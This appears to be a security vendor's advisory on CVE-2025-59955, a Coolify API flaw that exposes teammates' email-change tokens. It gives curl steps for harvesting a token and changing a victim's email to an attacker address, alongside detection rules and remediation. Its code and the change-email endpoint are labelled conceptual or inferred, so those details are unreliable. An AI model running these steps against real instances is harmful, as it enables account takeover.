CVE-2025-59955
Executive Summary
CVE-2025-59955 is an information disclosure vulnerability affecting Coolify, an open-source and self-hostable tool for managing servers, applications, and databases. The vulnerability resides in the /api/v1/teams/{team_id}/members and /api/v1/teams/current/members API endpoints. Authenticated team members can access the highly sensitive email_change_code of other users within the same team. This code is a single-use token intended for email change verification. Exposure of this token could allow a malicious actor to perform an unauthorized email address change on behalf of the victim, potentially leading to account takeover and further compromise of the Coolify instance and its managed infrastructure.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the Coolify application itself. The risk is amplified in self-hosted environments where Coolify manages critical infrastructure. An attacker who gains access to a low-privileged team member account can pivot to compromise other team members and potentially the entire Coolify instance.
CVSS Breakdown & Threat Level
CVSS Score: 0.0 (NVD) | Adjusted Score: 5.0 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Attack Vector (AV): Network - The vulnerability is exploitable over the network.
- Attack Complexity (AC): Low - No special conditions are required.
- Privileges Required (PR): Low - An attacker needs a valid, authenticated team member account.
- User Interaction (UI): None - No user interaction is required.
- Scope (S): Unchanged - The vulnerability does not affect resources beyond the vulnerable component.
- Confidentiality (C): High - The
email_change_codeis a highly sensitive secret. - Integrity (I): None - The vulnerability does not directly allow modification of data.
- Availability (A): None - The vulnerability does not affect availability.
Threat Level: Medium. While the CVSS score is moderate, the potential for account takeover and lateral movement within the Coolify environment elevates the risk.
Deep Dive & Mechanics
The vulnerability is a classic case of improper access control leading to information disclosure. The Coolify API endpoints /api/v1/teams/{team_id}/members and /api/v1/teams/current/members are designed to return a list of team members. However, the response includes the email_change_code field for each user, which should be strictly private and only accessible to the user themselves or an administrator.
Root Cause: The API endpoint does not filter or redact sensitive fields like email_change_code when returning member data. The code likely uses a serialization or ORM mapping that includes all fields of the user model without applying a view or projection that excludes sensitive data.
Attack Flow:
- An attacker gains access to a valid Coolify account that is a member of a team.
- The attacker sends a GET request to
/api/v1/teams/current/members(or/api/v1/teams/{team_id}/members). - The API returns a JSON array of team members, each containing the
email_change_codefield. - The attacker extracts the
email_change_codefor a target user. - The attacker uses this code to initiate an email change request for the target user, effectively taking over their account.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# Vulnerable API endpoint
@app.route('/api/v1/teams/current/members')
def get_team_members():
team = get_current_team()
members = TeamMember.query.filter_by(team_id=team.id).all()
# Returns all fields, including sensitive ones
return jsonify([member.to_dict() for member in members])
Patched Code (Conceptual):
# Patched API endpoint
@app.route('/api/v1/teams/current/members')
def get_team_members():
team = get_current_team()
members = TeamMember.query.filter_by(team_id=team.id).all()
# Explicitly exclude sensitive fields
safe_members = []
for member in members:
safe_member = member.to_dict()
safe_member.pop('email_change_code', None)
safe_members.append(safe_member)
return jsonify(safe_members)
Exploitation & Lab Setup
Red Team
Prerequisites:
- A valid Coolify account with membership in a team.
- Access to the Coolify instance (e.g.,
https://coolify.example.com).
Exploitation Steps:
- Authenticate: Obtain a valid session token or API key.
- Enumerate Team Members:
curl -X GET "https://coolify.example.com/api/v1/teams/current/members" \ -H "Authorization: Bearer <your_token>" - Extract
email_change_code: Parse the JSON response to find theemail_change_codefield for a target user. - Perform Email Change:
curl -X POST "https://coolify.example.com/api/v1/users/change-email" \ -H "Authorization: Bearer <your_token>" \ -H "Content-Type: application/json" \ -d '{"email_change_code": "<extracted_code>", "new_email": "attacker@evil.com"}' - Account Takeover: The victim's email is changed, and the attacker can initiate a password reset to gain full control.
Blue Team
Detection:
- Monitor API logs for unusual access to
/api/v1/teams/current/membersor/api/v1/teams/{team_id}/membersendpoints. - Alert on multiple requests to these endpoints from a single user within a short time frame.
- Monitor for email change requests that originate from unusual IP addresses or user agents.
Hunting:
- Search for logs containing
email_change_codein the response body. - Correlate API access with subsequent email change events.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests to
/api/v1/teams/current/membersor/api/v1/teams/{team_id}/memberswith a 200 response containingemail_change_code. - HTTP requests to
/api/v1/users/change-emailwith a validemail_change_codeparameter.
- HTTP requests to
- Logs:
- API access logs showing repeated calls to the vulnerable endpoints.
- Audit logs showing email change events for users who did not initiate the change.
- System:
- Unauthorized email changes in the Coolify user database.
Detection Engineering
YARA Rule
rule CVE_2025_59955_Coolify_InfoDisclosure {
meta:
description = "Detects Coolify API responses containing email_change_code"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-59955"
strings:
$s1 = "email_change_code" ascii wide nocase
$s2 = "/api/v1/teams/current/members" ascii wide nocase
$s3 = "/api/v1/teams/" ascii wide nocase
condition:
all of ($s*) and filesize < 10KB
}
Sigma Rule
title: Coolify Information Disclosure via email_change_code
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects access to Coolify API endpoints that expose the email_change_code field.
author: Valters IT
date: 2025/04/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-59955
logsource:
category: webserver
product: coolify
detection:
selection:
cs-method: 'GET'
cs-uri-stem:
- '/api/v1/teams/current/members'
- '/api/v1/teams/*/members'
condition: selection
falsepositives:
- Legitimate team member enumeration by administrators
level: medium
tags:
- attack.t1213
- cve.2025.59955
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-59955 Coolify Information Disclosure"; flow:to_server,established; content:"GET"; http_method; content:"/api/v1/teams/"; http_uri; content:"/members"; http_uri; pcre:"/\/api\/v1\/teams\/(current|\d+)\/members/Ui"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Restrict Access: Implement network-level access controls (e.g., VPN, firewall rules) to limit access to the Coolify API to trusted IP addresses only.
- Monitor Logs: Enable detailed logging for all API requests and monitor for suspicious activity.
- Review Team Members: Audit all team memberships and remove any unnecessary or suspicious accounts.
Long-Term Fixes:
- Patch: Apply the official patch from Coolify when it becomes available. As of now, no patched version exists.
- Code Fix: Modify the API endpoints to exclude the
email_change_codefield from the response. Implement a whitelist of allowed fields. - Input Validation: Ensure that all API responses are sanitized and do not include sensitive data unless explicitly required.
- Rate Limiting: Implement rate limiting on the vulnerable endpoints to reduce the impact of automated exploitation.
Workaround:
- If patching is not possible, consider disabling the vulnerable endpoints or implementing a reverse proxy that strips the
email_change_codefield from the response.
Valters IT
Securing Digital Frontiers